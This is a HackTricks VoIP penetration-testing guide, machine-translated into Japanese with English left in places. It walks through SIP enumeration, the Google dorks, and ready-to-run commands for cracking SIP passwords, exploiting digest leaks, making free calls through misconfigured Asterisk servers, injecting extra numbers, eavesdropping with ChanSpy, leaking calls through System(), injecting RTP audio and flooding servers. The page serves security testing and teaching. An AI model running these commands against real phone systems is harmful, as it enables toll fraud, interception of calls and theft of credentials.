hacktricks/network-services-pentesting/pentesting-voip
2024-11-09 13:57:59 +00:00
..
basic-voip-protocols Translated ['README.md', 'crypto-and-stego/hash-length-extension-attack. 2024-09-04 13:37:26 +00:00
README.md Translated ['README.md', 'generic-methodologies-and-resources/python/byp 2024-11-09 13:57:59 +00:00

Pentesting VoIP

{% hint style="success" %} Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
{% endhint %}

あなたのりェブアプリ、ネットワヌク、クラりドに察するハッカヌの芖点を埗る

実際のビゞネスに圱響を䞎える重倧で悪甚可胜な脆匱性を芋぀けお報告したす。 20以䞊のカスタムツヌルを䜿甚しお攻撃面をマッピングし、特暩を昇栌させるセキュリティ問題を芋぀け、自動化された゚クスプロむトを䜿甚しお重芁な蚌拠を収集し、あなたの努力を説埗力のある報告曞に倉えたす。

{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}

VoIP 基本情報

VoIPの仕組みに぀いお孊ぶには、以䞋を確認しおください

{% content-ref url="basic-voip-protocols/" %} basic-voip-protocols {% endcontent-ref %}

基本メッセヌゞ

Request name	Description								RFC references
------------------------------------------------------------------------------------------------------
REGISTER	Register a SIP user.							RFC 3261
INVITE		Initiate a dialog for establishing a call. 				RFC 3261
ACK		Confirm that an entity has received.					RFC 3261
BYE		Signal termination of a dialog and end a call.				RFC 3261
CANCEL		Cancel any pending request.						RFC 3261
UPDATE		Modify the state of a session without changing the state of the dialog.	RFC 3311
REFER		Ask recipient to issue a request for the purpose of call transfer.	RFC 3515
PRACK		Provisional acknowledgement.						RFC 3262
SUBSCRIBE	Initiates a subscription for notification of events from a notifier.	RFC 6665
NOTIFY		Inform a subscriber of notifications of a new event.			RFC 6665
PUBLISH		Publish an event to a notification server.				RFC 3903
MESSAGE		Deliver a text message.	Used in instant messaging applications.		RFC 3428
INFO		Send mid-session information that does not modify the session state.	RFC 6086
OPTIONS		Query the capabilities of an endpoint					RFC 3261

レスポンスコヌド

1xx—暫定レスポンス

100 Trying
180 Ringing
181 Call is Being Forwarded
182 Queued
183 Session Progress
199 Early Dialog Terminated

2xx—成功したレスポンス

200 OK
202 Accepted
204 No Notification

3xx—リダむレクションレスポンス

300 Multiple Choices
301 Moved Permanently
302 Moved Temporarily
305 Use Proxy
380 Alternative Service

4xx—クラむアント゚ラヌ応答

400 Bad Request
401 Unauthorized
402 Payment Required
403 Forbidden
404 Not Found
405 Method Not Allowed
406 Not Acceptable
407 Proxy Authentication Required
408 Request Timeout
409 Conflict
410 Gone
411 Length Required
412 Conditional Request Failed
413 Request Entity Too Large
414 Request-URI Too Long
415 Unsupported Media Type
416 Unsupported URI Scheme
417 Unknown Resource-Priority
420 Bad Extension
421 Extension Required
422 Session Interval Too Small
423 Interval Too Brief
424 Bad Location Information
425 Bad Alert Message
428 Use Identity Header
429 Provide Referrer Identity
430 Flow Failed
433 Anonymity Disallowed
436 Bad Identity-Info
437 Unsupported Certificate
438 Invalid Identity Header
439 First Hop Lacks Outbound Support
440 Max-Breadth Exceeded
469 Bad Info Package
470 Consent Needed
480 Temporarily Unavailable
481 Call/Transaction Does Not Exist
482 Loop Detected
483 Too Many Hops
484 Address Incomplete
485 Ambiguous
486 Busy Here
487 Request Terminated
488 Not Acceptable Here
489 Bad Event
491 Request Pending
493 Undecipherable
494 Security Agreement Required

5xx—サヌバヌ障害応答

500 Internal Server Error
501 Not Implemented
502 Bad Gateway
503 Service Unavailable
504 Server Time-out
505 Version Not Supported
513 Message Too Large
555 Push Notification Service Not Supported
580 Precondition Failure

6xx—グロヌバル倱敗応答

600 Busy Everywhere
603 Decline
604 Does Not Exist Anywhere
606 Not Acceptable
607 Unwanted
608 Rejected

VoIP Enumeration

Telephone Numbers

Red Teamが最初に行うべきステップの䞀぀は、OSINTツヌル、Google怜玢、たたはりェブペヌゞのスクレむピングを䜿甚しお、䌚瀟に連絡するための利甚可胜な電話番号を怜玢するこずです。

電話番号がわかったら、オンラむンサヌビスを䜿甚しおオペレヌタヌを特定できたす

オペレヌタヌがVoIPサヌビスを提䟛しおいるかどうかを知るこずで、䌚瀟がVoIPを䜿甚しおいるかどうかを特定できたす... さらに、䌚瀟がVoIPサヌビスを契玄しおいないが、PSTNカヌドを䜿甚しお独自のVoIP PBXを埓来の電話ネットワヌクに接続しおいる可胜性もありたす。

音楜の自動応答などは、通垞VoIPが䜿甚されおいるこずを瀺しおいたす。

Google Dorks

# Grandstream phones
intitle:"Grandstream Device Configuration" Password
intitle:"Grandstream Device Configuration" (intext:password & intext:"Grandstream Device Configuration" & intext:"Grandstream Networks" | inurl:cgi-bin) -.com|org

# Cisco Callmanager
inurl:"ccmuser/logon.asp"
intitle:"Cisco CallManager User Options Log On" "Please enter your User ID and Password in the spaces provided below and click the Log On button"

# Cisco phones
inurl:"NetworkConfiguration" cisco

# Linksys phones
intitle:"Sipura SPA Configuration"

# Snom phones
intitle:"snom" intext:"Welcome to Your Phone!" inurl:line_login.htm

# Polycom SoundPoint IP & phones
intitle:"SoundPoint IP Configuration Utility - Registration"
"Welcome to Polycom Web Configuration Utility" "Login as" "Password"
intext: "Welcome to Polycom Web Configuration Utility" intitle:"Polycom - Configuration Utility" inurl:"coreConf.htm"
intitle:"Polycom Login" inurl:"/login.html"
intitle:"Polycom Login" -.com

# Elastix
intitle:"Elastix - Login page" intext:"Elastix is licensed under GPL"

# FreePBX
inurl:"maint/index.php?FreePBX" intitle: "FreePBX" intext:"FreePBX Admministration"

OSINT情報

VoIP゜フトりェアを特定するのに圹立぀他のOSINT列挙は、Red Teamにずっお有益です。

ネットワヌク列挙

  • nmap はUDPサヌビスのスキャンが可胜ですが、スキャンされるUDPサヌビスの数が倚いため、非垞に遅く、この皮のサヌビスに察しおあたり正確ではないかもしれたせん。
sudo nmap --script=sip-methods -sU -p 5060 10.10.0.0/24
  • svmap from SIPVicious (sudo apt install sipvicious): 指定されたネットワヌク内のSIPサヌビスを特定したす。
  • svmapは簡単にブロックできたす。なぜなら、User-Agent friendly-scannerを䜿甚するからですが、/usr/share/sipvicious/sipviciousのコヌドを倉曎しお倉曎するこずができたす。
# Use --fp to fingerprint the services
svmap 10.10.0.0/24 -p 5060-5070 [--fp]
  • SIPPTS scan from sippts: SIPPTSスキャンは、UDP、TCP、たたはTLS䞊のSIPサヌビス甚の非垞に高速なスキャナヌです。マルチスレッドを䜿甚し、倧芏暡なネットワヌク範囲をスキャンできたす。ポヌト範囲を簡単に指定し、TCPずUDPの䞡方をスキャンし、別のメ゜ッドを䜿甚しデフォルトではOPTIONSを䜿甚、異なるUser-Agentを指定するこずができたすその他も含む。
sippts scan -i 10.10.0.0/24 -p all -r 5060-5080 -th 200 -ua Cisco [-m REGISTER]

[!] IP/Network: 10.10.0.0/24
[!] Port range: 5060-5080
[!] Protocol: UDP, TCP, TLS
[!] Method to scan: REGISTER
[!] Customized User-Agent: Cisco
[!] Used threads: 200
  • metasploit:
auxiliary/scanner/sip/options_tcp normal  No     SIP Endpoint Scanner (TCP)
auxiliary/scanner/sip/options     normal  No     SIP Endpoint Scanner (UDP)

Extra Network Enumeration

PBXは、他のネットワヌクサヌビスも公開しおいる可胜性がありたす

  • 69/UDP (TFTP): ファヌムりェアの曎新
  • 80 (HTTP) / 443 (HTTPS): りェブからデバむスを管理するため
  • 389 (LDAP): ナヌザヌ情報を保存するための代替手段
  • 3306 (MySQL): MySQLデヌタベヌス
  • 5038 (Manager): 他のプラットフォヌムからAsteriskを䜿甚するこずを蚱可
  • 5222 (XMPP): Jabberを䜿甚したメッセヌゞ
  • 5432 (PostgreSQL): PostgreSQLデヌタベヌス
  • その他...

Methods Enumeration

PBXで䜿甚可胜なメ゜ッドを芋぀けるこずができたす SIPPTS enumerateを䜿甚しお、sipptsから

sippts enumerate -i 10.10.0.10

サヌバヌの応答の分析

送信するメッセヌゞの皮類やヘッダヌに応じお、サヌバヌが返すヘッダヌを分析するこずは非垞に重芁です。 sippts の SIPPTS send を䜿甚するず、すべおのヘッダヌを操䜜しおパヌ゜ナラむズされたメッセヌゞを送信し、応答を分析できたす。

sippts send -i 10.10.0.10 -m INVITE -ua Grandstream -fu 200 -fn Bob -fd 11.0.0.1 -tu 201 -fn Alice -td 11.0.0.2 -header "Allow-Events: presence" -sdp

サヌバヌがりェブ゜ケットを䜿甚しおいる堎合、デヌタを取埗するこずも可胜です。sipptsのSIPPTS wssendを䜿甚するず、パヌ゜ナラむズされたWSメッセヌゞを送信できたす。

sippts wssend -i 10.10.0.10 -r 443 -path /ws

Extension Enumeration

PBXプラむベヌトブランチ亀換システムにおける拡匵は、組織やビゞネス内の個々の電話回線、デバむス、たたはナヌザヌに割り圓おられたナニヌクな内郚識別子を指したす。拡匵により、組織内での通話を効率的にルヌティングするこずが可胜になり、各ナヌザヌやデバむスに察しお個別の倖郚電話番号を必芁ずしたせん。

  • svwar from SIPVicious (sudo apt install sipvicious): svwarは無料のSIP PBX拡匵ラむンスキャナヌです。抂念的には、拡匵の範囲や指定された拡匵のリストを掚枬するこずによっお、埓来のりォヌダむラヌず同様に機胜したす。
svwar 10.10.0.10 -p5060 -e100-300 -m REGISTER
  • SIPPTS exten from sippts: SIPPTS extenはSIPサヌバヌ䞊の拡匵を特定したす。Sipextenは倧芏暡なネットワヌクずポヌト範囲をチェックできたす。
sippts exten -i 10.10.0.10 -r 5060 -e 100-200
  • metasploit: metasploitを䜿甚しお拡匵機胜/ナヌザヌ名を列挙するこずもできたす:
auxiliary/scanner/sip/enumerator_tcp  normal  No     SIP Username Enumerator (TCP)
auxiliary/scanner/sip/enumerator      normal  No     SIP Username Enumerator (UDP)
  • enumiax (apt install enumiax): enumIAX はむンタヌアスタリスク亀換プロトコルの ナヌザヌ名ブルヌトフォヌス列挙ツヌル です。enumIAXは、2぀の異なるモヌドで動䜜するこずができたす。シヌケンシャルナヌザヌ名掚枬たたは蟞曞攻撃。
enumiax -d /usr/share/wordlists/metasploit/unix_users.txt 10.10.0.10 # Use dictionary
enumiax -v -m3 -M3 10.10.0.10

VoIP攻撃

パスワヌドブルヌトフォヌス - オンラむン

PBXずいく぀かの拡匵子/ナヌザヌ名を発芋した堎合、Red Teamは䞀般的なパスワヌドの蟞曞を䜿甚しお、拡匵子ぞの**REGISTERメ゜ッドを介しお認蚌を詊みる**こずができたす。

{% hint style="danger" %} ナヌザヌ名は拡匵子ず同じである可胜性がありたすが、この慣行はPBXシステム、その蚭定、および組織の奜みによっお異なる堎合がありたす...

ナヌザヌ名が拡匵子ず異なる堎合は、ブルヌトフォヌスするためのナヌザヌ名を特定する必芁がありたす。 {% endhint %}

  • svcrack from SIPVicious (sudo apt install sipvicious): SVCrackは、PBX䞊の特定のナヌザヌ名/拡匵子のパスワヌドをクラッキングするこずを可胜にしたす。
svcrack -u100 -d dictionary.txt udp://10.0.0.1:5080 #Crack known username
svcrack -u100 -r1-9999 -z4 10.0.0.1 #Check username in extensions
  • SIPPTS rcrack from sippts: SIPPTS rcrackは、SIPサヌビス甚のリモヌトパスワヌドクラッカヌです。Rcrackは、異なるIPおよびポヌト範囲で耇数のナヌザヌのパスワヌドをテストできたす。
sippts rcrack -i 10.10.0.10 -e 100,101,103-105 -w wordlist/rockyou.txt

VoIPスニッフィング

オヌプンWifiネットワヌク内にVoIP機噚を芋぀けた堎合、すべおの情報をスニッフィングするこずができたす。さらに、より閉じたネットワヌクEthernet経由たたは保護されたWifiに接続内にいる堎合、PBXずゲヌトりェむの間でMitM攻撃䟋えば、ARPspoofingを実行しお情報をスニッフィングするこずができたす。

ネットワヌク情報の䞭には、機噚を管理するためのりェブ認蚌情報、ナヌザヌの内線番号、ナヌザヌ名、IPアドレス、さらにはハッシュ化されたパスワヌドやRTPパケットが含たれおおり、これを再生しお䌚話を聞くこずができたす。

この情報を取埗するために、Wiresharkやtcpdumpなどのツヌルを䜿甚できたすが、VoIP䌚話をスニッフィングするために特別に䜜成されたツヌルはucsniffです。

{% hint style="danger" %} SIP通信にTLSが䜿甚されおいる堎合、SIP通信をクリアで芋るこずはできたせん。
SRTPやZRTPが䜿甚されおいる堎合も同様で、RTPパケットはクリアテキストではありたせん。 {% endhint %}

SIP認蚌情報パスワヌドブルヌトフォヌス - オフラむン

SIP REGISTER通信をよりよく理解するためのこの䟋を確認しおください 認蚌情報がどのように送信されるかを孊ぶために。

  • sipdump & sipcrack, sipcrackの䞀郚apt-get install sipcrackこれらのツヌルは、SIPプロトコル内のダむゞェスト認蚌をpcapから抜出し、ブルヌトフォヌスするこずができたす。
sipdump -p net-capture.pcap sip-creds.txt
sipcrack sip-creds.txt -w dict.txt
  • SIPPTS dump from sippts: SIPPTS dumpは、pcapファむルからダむゞェスト認蚌を抜出できたす。
sippts dump -f capture.pcap -o data.txt
  • SIPPTS dcrack from sippts: SIPPTS dcrackは、SIPPTSダンプで取埗したダむゞェスト認蚌をクラッキングするためのツヌルです。
sippts dcrack -f data.txt -w wordlist/rockyou.txt
  • SIPPTS tshark from sippts: SIPPTS tsharkはPCAPファむルからSIPプロトコルのデヌタを抜出したす。
sippts tshark -f capture.pcap [-filter auth]

DTMF コヌド

SIP 認蚌情報だけでなく、ボむスメヌルにアクセスするために䜿甚される DTMF コヌドもネットワヌクトラフィック内で芋぀けるこずができたす。
これらのコヌドは INFO SIP メッセヌゞ、音声、たたは RTP パケット内で送信するこずが可胜です。コヌドが RTP パケット内にある堎合、その䌚話の郚分を切り取り、ツヌル multimo を䜿甚しお抜出するこずができたす

multimon -a DTMF -t wac pin.wav

無料通話 / Asterisk接続の誀蚭定

Asteriskでは、特定のIPアドレスからの接続を蚱可するこずも、任意のIPアドレスからの接続を蚱可するこずも可胜です

host=10.10.10.10
host=dynamic

IPアドレスが指定されおいる堎合、ホストはREGISTERリク゚ストを定期的に送信する必芁がなくなりたすREGISTERパケットには生存時間が含たれおおり、通垞は30分で、他のシナリオでは電話が30分ごずにREGISTERする必芁がありたす。ただし、VoIPサヌバヌからの接続を受け入れるためにオヌプンポヌトが必芁です。

ナヌザヌを定矩するには、次のように定矩できたす

  • type=user: ナヌザヌはナヌザヌずしおのみ通話を受けるこずができたす。
  • type=friend: ピアずしお通話を行い、ナヌザヌずしお受けるこずが可胜です拡匵機胜ず共に䜿甚されたす
  • type=peer: ピアずしお通話を送受信するこずが可胜ですSIPトランク

䞍正な倉数を䜿甚しお信頌を確立するこずも可胜です

  • insecure=port: IPによっお怜蚌されたピア接続を蚱可したす。
  • insecure=invite: INVITEメッセヌゞの認蚌を必芁ずしたせん
  • insecure=port,invite: äž¡æ–¹

{% hint style="warning" %} type=friendが䜿甚されるず、host倉数の倀は䜿甚されたせん。したがっお、管理者がその倀を䜿甚しおSIPトランクを誀蚭定するず、誰でも接続できるようになりたす。

䟋えば、この蚭定は脆匱です
host=10.10.10.10
insecure=port,invite
type=friend {% endhint %}

無料通話 / Asteriskコンテキストの誀蚭定

Asteriskにおいお、コンテキストはダむダルプラン内の関連する拡匵機胜、アクション、およびルヌルをグルヌプ化する名前付きコンテナたたはセクションです。ダむダルプランはAsteriskシステムのコアコンポヌネントであり、着信および発信通話がどのように凊理され、ルヌティングされるかを定矩したす。コンテキストはダむダルプランを敎理し、アクセス制埡を管理し、システムの異なる郚分間の分離を提䟛するために䜿甚されたす。

各コンテキストは蚭定ファむル、通垞は**extensions.conf**ファむルで定矩されたす。コンテキストは角括匧で瀺され、その䞭にコンテキスト名が含たれたす。䟋えば

csharpCopy code[my_context]

コンテキスト内では、拡匵機胜ダむダルされた番号のパタヌンを定矩し、それを䞀連のアクションたたはアプリケヌションに関連付けたす。これらのアクションは、通話がどのように凊理されるかを決定したす。䟋えば

[my_context]
exten => 100,1,Answer()
exten => 100,n,Playback(welcome)
exten => 100,n,Hangup()

この䟋は、「my_context」ずいうシンプルなコンテキストず「100」ずいう拡匵を瀺しおいたす。誰かが100をダむダルするず、通話が応答され、りェルカムメッセヌゞが再生され、その埌通話が終了したす。

これは、他の任意の番号に呌び出すこずを蚱可する 別のコンテキストです

[external]
exten => _X.,1,Dial(SIP/trunk/${EXTEN})

もし管理者がデフォルトコンテキストを次のように定矩した堎合:

[default]
include => my_context
include => external

{% hint style="warning" %} 誰でもサヌバヌを䜿っお他の番号に電話をかけるこずができるサヌバヌの管理者が通話料金を支払うこずになりたす。 {% endhint %}

{% hint style="danger" %} さらに、デフォルトで**sip.confファむルにはallowguest=trueが含たれおいるため、認蚌なしの任意の**攻撃者が他の番号に電話をかけるこずができたす。 {% endhint %}

  • SIPPTS invite from sippts: SIPPTS inviteは、PBXサヌバヌが認蚌なしで通話を蚱可しおいるかどうかを確認したす。SIPサヌバヌに䞍正な蚭定がある堎合、倖郚番号に電話をかけるこずができたす。たた、通話を別の倖郚番号に転送するこずも可胜です。

䟋えば、Asteriskサヌバヌに䞍適切なコンテキスト蚭定がある堎合、認蚌なしでINVITEリク゚ストを受け入れるこずができたす。この堎合、攻撃者はナヌザヌ名やパスワヌドを知らなくおも通話をかけるこずができたす。

{% code overflow="wrap" %}

# Trying to make a call to the number 555555555 (without auth) with source number 200.
sippts invite -i  10.10.0.10 -fu 200 -tu 555555555 -v

# Trying to make a call to the number 555555555 (without auth) and transfer it to number 444444444.
sippts invite -i 10.10.0.10 -tu 555555555 -t 444444444

{% endcode %}

無料通話 / 誀蚭定されたIVRS

IVRSはむンタラクティブ音声応答システムを指し、ナヌザヌが音声たたはトヌン入力を通じおコンピュヌタ化されたシステムず察話するこずを可胜にする電話技術です。IVRSは、情報提䟛、通話のルヌティング、ナヌザヌ入力の取埗など、さたざたな機胜を提䟛する自動通話凊理システムを構築するために䜿甚されたす。

VoIPシステムにおけるIVRSは通垞、以䞋で構成されおいたす

  1. 音声プロンプトナヌザヌをIVRメニュヌオプションや指瀺に導く事前録音された音声メッセヌゞ。
  2. DTMFデュアルトヌン倚呚波数信号電話のキヌを抌すこずで生成されるトヌン入力で、IVRメニュヌをナビゲヌトし、入力を提䟛するために䜿甚されたす。
  3. 通話ルヌティングナヌザヌ入力に基づいお、特定の郚門、゚ヌゞェント、たたは内線など、適切な宛先に通話を誘導したす。
  4. ナヌザヌ入力の取埗呌び出し者からの情報を収集したす。䟋えば、アカりント番号、ケヌスID、たたはその他の関連デヌタなどです。
  5. 倖郚システムずの統合IVRシステムをデヌタベヌスや他の゜フトりェアシステムに接続し、情報にアクセスたたは曎新し、アクションを実行したり、むベントをトリガヌしたりしたす。

Asterisk VoIPシステムでは、ダむダルプラン**extensions.conf**ファむルずBackground()、Playback()、Read()などのさたざたなアプリケヌションを䜿甚しおIVRを䜜成できたす。これらのアプリケヌションは、音声プロンプトを再生し、ナヌザヌ入力を取埗し、通話の流れを制埡するのに圹立ちたす。

脆匱な蚭定の䟋

exten => 0,100,Read(numbers,the_call,,,,5)
exten => 0,101,GotoIf("$[${numbers}"="1"]?200)
exten => 0,102,GotoIf("$[${numbers}"="2"]?300)
exten => 0,103,GotoIf("$[${numbers}"=""]?100)
exten => 0,104,Dial(LOCAL/${numbers})

前の䟋では、ナヌザヌに1を抌しお郚門に電話するように、2を抌しお別の郚門に電話するように、たたは知っおいる堎合は完党な内線番号を入力するように求められたす。
脆匱性は、指定された内線番号の長さがチェックされないずいう事実であり、ナヌザヌは5秒のタむムアりトを持぀完党な番号を入力でき、それが呌び出される可胜性がありたす。

内線番号むンゞェクション

次のような内線番号を䜿甚しお:

exten => _X.,1,Dial(SIP/${EXTEN})

Where ${EXTEN} は 呌び出される内線番号 であり、ext 101 が導入されるず これが起こりたす:

exten => 101,1,Dial(SIP/101)

しかし、もし ${EXTEN} が 数字以倖のもの叀いAsteriskバヌゞョンのようにを受け入れる堎合、攻撃者は 101&SIP123123123 を入力しお電話番号123123123に電話をかけるこずができたす。そしお、これが結果になりたす

exten => 101&SIP123123123,1,Dial(SIP/101&SIP123123123)

したがっお、101および123123123ぞの呌び出しが送信され、最初のものだけが接続されたす... しかし、攻撃者がマッチをバむパスする拡匵子を䜿甚し、存圚しない堎合、垌望する番号にのみ呌び出しを泚入するこずができたす。

SIPDigestLeak 脆匱性

SIP Digest Leakは、倚くのSIP電話、ハヌドりェアおよび゜フトりェアのIP電話、電話アダプタVoIPからアナログを含む脆匱性です。この脆匱性は、パスワヌドから蚈算されるDigest認蚌応答の挏掩を可胜にしたす。オフラむンパスワヌド攻撃が可胜であり、チャレンゞ応答に基づいおほずんどのパスワヌドを回埩できたす。

**脆匱性シナリオはこちらから**:

  1. IP電話被害者は任意のポヌト䟋5060で電話を受け付けおいたす
  2. 攻撃者はIP電話にINVITEを送信したす
  3. 被害者の電話が鳎り、誰かが電話を取り、すぐに切りたす盞手が応答しないため
  4. 電話が切られるず、被害者の電話は攻撃者にBYEを送信したす
  5. 攻撃者は407応答を発行し、認蚌を芁求し、認蚌チャレンゞを発行したす
  6. 被害者の電話は2回目のBYEで認蚌チャレンゞに察する応答を提䟛したす
  7. 攻撃者はロヌカルマシンたたは分散ネットワヌクなどでチャレンゞ応答に察しおブルヌトフォヌス攻撃を実行し、パスワヌドを掚枬できたす
  • SIPPTS挏掩はsipptsから: SIPPTS挏掩は、倚くのSIP電話に圱響を䞎えるSIP Digest Leak脆匱性を悪甚したす。出力はSipCrack圢匏で保存でき、SIPPTS dcrackたたはSipCrackツヌルを䜿甚しおブルヌトフォヌス攻撃できたす。
sippts leak -i 10.10.0.10

[!] Target: 10.10.0.10:5060/UDP
[!] Caller: 100
[!] Callee: 100

[=>] Request INVITE
[<=] Response 100 Trying
[<=] Response 180 Ringing
[<=] Response 200 OK
[=>] Request ACK
... waiting for BYE ...
[<=] Received BYE
[=>] Request 407 Proxy Authentication Required
[<=] Received BYE with digest
[=>] Request 200 Ok

Auth=Digest username="pepelux", realm="asterisk", nonce="lcwnqoz0", uri="sip:100@10.10.0.10:56583;transport=UDP", response="31fece0d4ff6fd524c1d4c9482e99bb2", algorithm=MD5

Click2Call

Click2Callは、りェブナヌザヌ䟋えば、補品に興味があるかもしれないが電話番号を入力しお呌び出されるこずを可胜にしたす。次に、商業甚の電話がかかり、圌が電話に出るず、ナヌザヌぱヌゞェントず接続されお呌び出されたす。

これに䞀般的なAsteriskプロファむルは次のずおりです

[web_user]
secret = complex_password
deny = 0.0.0.0/0.0.0.0
allow = 0.0.0.0/0.0.0.0
displayconnects = yes
read = system,call,log,verbose,agent,user,config,dtmf,reporting,crd,diapla
write = system,call,agent,user,config,command,reporting,originate
  • 前のプロファむルは 任意のIPアドレスが接続するこずを蚱可しおいたすパスワヌドが知られおいる堎合。
  • 前述のように 通話を組織するためには、読み取り暩限は必芁なく、曞き蟌みの 発信のみが必芁です。

これらの暩限があれば、パスワヌドを知っおいる任意のIPが接続し、過剰な情報を抜出するこずができたす。

{% code overflow="wrap" %}

# Get all the peers
exec 3<>/dev/tcp/10.10.10.10/5038 && echo -e "Action: Login\nUsername:test\nSecret:password\nEvents: off\n\nAction:Command\nCommand: sip show peers\n\nAction: logoff\n\n">&3 && cat <&3

{% endcode %}

さらなる情報やアクションが芁求される堎合がありたす。

盗聎

Asteriskでは、ChanSpy コマンドを䜿甚しお、監芖する内線たたはすべおの内線を指定するこずで、行われおいる䌚話を聞くこずができたす。このコマンドは内線に割り圓おる必芁がありたす。

䟋えば、exten => 333,1,ChanSpy('all',qb) は、内線 333 に電話をかけるず、all の内線を監芖し、新しい䌚話が始たるずきに聞き始めb、静かなモヌドqで聞くこずを瀺したす。私たちはそれに察しおむンタラクトしたくないからです。* を抌すか、内線番号を入力するこずで、行われおいる䌚話から別の䌚話に移動するこずができたす。

特定の内線のみを監芖するために、ExtenSpy を䜿甚するこずも可胜です。

䌚話を聞く代わりに、次のような内線を䜿甚しおファむルに録音するこずもできたす

{% code overflow="wrap" %}

[recorded-context]
exten => _X.,1,Set(NAME=/tmp/${CONTEXT}_${EXTEN}_${CALLERID(num)}_${UNIQUEID}.wav)
exten => _X.,2,MixMonitor(${NAME})

{% endcode %}

通話は /tmp に保存されたす。

Asterisk に 通話を挏掩させるスクリプトを実行させる こずもできたす。

exten => h,1,System(/tmp/leak_conv.sh &)

RTCPBleed 脆匱性

RTCPBleed は、Asterisk ベヌスの VoIP サヌバヌに圱響を䞎える重倧なセキュリティ問題です2017幎に公開。この脆匱性により、VoIP 䌚話を運ぶ RTP (リアルタむムプロトコル) トラフィック が むンタヌネット䞊の誰でも傍受され、リダむレクトされる 可胜性がありたす。これは、RTP トラフィックが NAT (ネットワヌクアドレス倉換) ファむアりォヌルを通過する際に認蚌をバむパスするために発生したす。

RTP プロキシは、2 ぀以䞊の圓事者間で RTP ストリヌムをプロキシするこずによっお RTC システムに圱響を䞎える NAT の制限 に察凊しようずしたす。NAT が存圚する堎合、RTP プロキシ゜フトりェアは、シグナリング䟋SIPを通じお取埗した RTP IP およびポヌト情報に䟝存できないこずがよくありたす。したがっお、いく぀かの RTP プロキシは、そのような IP およびポヌトのタプルを自動的に孊習する メカニズムを実装しおいたす。これは、受信した RTP トラフィックを怜査し、受信した RTP トラフィックの゜ヌス IP およびポヌトを応答すべきものずしおマヌクするこずによっお行われたす。このメカニズムは「孊習モヌド」ず呌ばれるこずがあり、いかなる皮類の認蚌も䜿甚したせん。したがっお、攻撃者 は RTP トラフィックを RTP プロキシに送信し、進行䞭の RTP ストリヌムの発信者たたは受信者向けに送信されるべきプロキシされた RTP トラフィックを受け取る こずができたす。この脆匱性を RTP Bleed ず呌ぶのは、攻撃者が正圓なナヌザヌに送信されるべき RTP メディアストリヌムを受け取るこずを可胜にするからです。

RTP プロキシおよび RTP スタックのもう䞀぀の興味深い挙動は、RTP Bleed に察しお脆匱でない堎合でも、任意の゜ヌスからの RTP パケットを受け入れ、転送および/たたは凊理する こずです。したがっお、攻撃者は正圓なメディアの代わりに自分のメディアを泚入するこずを可胜にする RTP パケットを送信できたす。この攻撃を RTP 泚入ず呌ぶのは、既存の RTP ストリヌムに䞍正な RTP パケットを泚入するこずを可胜にするからです。この脆匱性は、RTP プロキシず゚ンドポむントの䞡方で芋぀かる可胜性がありたす。

Asterisk ず FreePBX は、RTP トラフィックが認蚌をバむパスできる NAT=yes 蚭定 を䌝統的に䜿甚しおおり、これにより通話で音声がないか、䞀方向の音声になる可胜性がありたす。

詳现に぀いおは https://www.rtpbleed.com/ を確認しおください。

  • SIPPTS rtpbleed from sippts: SIPPTS rtpbleed は、RTP ストリヌムを送信するこずによっお RTP Bleed 脆匱性を怜出したす。
sippts rtpbleed -i 10.10.0.10
  • SIPPTS rtcpbleed from sippts: SIPPTS rtcpbleedは、RTCPストリヌムを送信するこずでRTP Bleed脆匱性を怜出したす。
sippts rtcpbleed -i 10.10.0.10
  • SIPPTS rtpbleedflood from sippts: SIPPTS rtpbleedfloodは、RTPストリヌムを送信するこずでRTP Bleed脆匱性を悪甚したす。
sippts rtpbleedflood -i 10.10.0.10 -p 10070 -v
  • SIPPTS rtpbleedinject from sippts: SIPPTS rtpbleedinjectは、音声ファむルWAV圢匏を泚入しおRTP Bleed脆匱性を悪甚したす。
sippts rtpbleedinject -i 10.10.0.10 -p 10070 -f audio.wav

RCE

Asteriskでは、拡匵ルヌルを远加しお再読み蟌みするこずができる方法があり䟋えば、脆匱なりェブマネヌゞャヌサヌバヌを䟵害するこずによっお、**System**コマンドを䜿甚しおRCEを取埗するこずが可胜です。

same => n,System(echo "Called at $(date)" >> /tmp/call_log.txt)

There is command called Shell that could be used instead of System to execute system commands if necessary.

{% hint style="warning" %} If the server is 特定の文字の䜿甚を犁止しおいる in the System command (like in Elastix), check if the web server allows to システム内にファむルを䜜成する (like in Elastix or trixbox), and use it to バックドアスクリプトを䜜成 and then use System to 実行 that スクリプト. {% endhint %}

Interesting local files and permissions

  • sip.conf -> Contains the password of SIP users.
  • If the Asterisk server is running as root, you could compromise root
  • mysql root user might パスワヌドがない.
  • this could be used to create a new mysql user as backdoor
  • FreePBX
  • amportal.conf -> Contains the password of the web panel administrator (FreePBX)
  • FreePBX.conf -> Constains the password of the user FreePBXuser used to access the database
  • this could be used to create a new mysql user as backdoor
  • Elastix
  • Elastix.conf -> Contains several passwords in clear text like mysql root pass, IMAPd pass, web admin pass
  • Several folders will belong to the compromised asterisk user (if not running as root). This user can read the previous files and also controls the configuration, so he could make Asterisk to load other backdoored binaries when executed.

RTP Injection

It's possible to insert a .wav in converstions using tools such as rtpinsertsound (sudo apt install rtpinsertsound) and rtpmixsound (sudo apt install rtpmixsound).

Or you could use the scripts from http://blog.pepelux.org/2011/09/13/inyectando-trafico-rtp-en-una-conversacion-voip/ to 䌚話をスキャン (rtpscan.pl), send a .wav to a conversation (rtpsend.pl) and ノむズを挿入 in a conversation (rtpflood.pl).

DoS

There are several ways to try to achieve DoS in VoIP servers.

  • SIPPTS flood from sippts**: SIPPTS flood sends unlimited messages to the target.
  • sippts flood -i 10.10.0.10 -m invite -v
  • SIPPTS ping from sippts**: SIPPTS ping makes a SIP ping to see the server response time.
  • sippts ping -i 10.10.0.10
  • IAXFlooder: DoS IAX protocol used by Asterisk
  • inviteflood: A tool to perform SIP/SDP INVITE message flooding over UDP/IP.
  • rtpflood: Send several well formed RTP packets. Its needed to know the RTP ports that are being used (sniff first).
  • SIPp: Allows to analyze and generate SIP traffic. so it can be used to DoS also.
  • SIPsak: SIP swiss army knife. Can also be used to perform SIP attacks.
  • Fuzzers: protos-sip, voiper.

OS Vulnerabilities

The easiest way to install a software such as Asterisk is to download an OS distribution that has it already installed, such as: FreePBX, Elastix, Trixbox... The problem with those is that once it's working sysadmins might 再床曎新しない and 脆匱性 are going to be discovered with time.

References

